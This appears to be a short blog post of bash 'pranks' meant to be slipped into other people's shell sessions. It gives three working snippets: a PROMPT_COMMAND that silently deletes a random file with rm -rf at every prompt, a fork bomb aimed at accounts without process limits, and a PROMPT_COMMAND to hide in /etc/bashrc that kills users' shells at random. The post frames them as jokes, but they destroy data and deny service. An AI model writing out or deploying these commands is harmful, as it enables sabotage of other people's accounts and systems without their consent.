Archive for the ‘ Bash Bonanza ’ Category

Meet the Prompt of Doom

Try to sneak this one into someone’s session and watch the hilarity ensue:

export PROMPT_COMMAND='FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &> /dev/null'

Classic

Just enter this little baby into any account where ulimit -u reports unlimited

:() { :|:& };:

Random exits

This one is sure to confuse. A user will exit his shell somewehere random inside 30 minutes after starting it. Hide the following piece of code somewhere in /etc/bashrc or a .sh file in /etc/profile.d/

export PROMPT_COMMAND='[ ${SECONDS} -ge $[ ${RANDOM} % 1800 ]] && exit'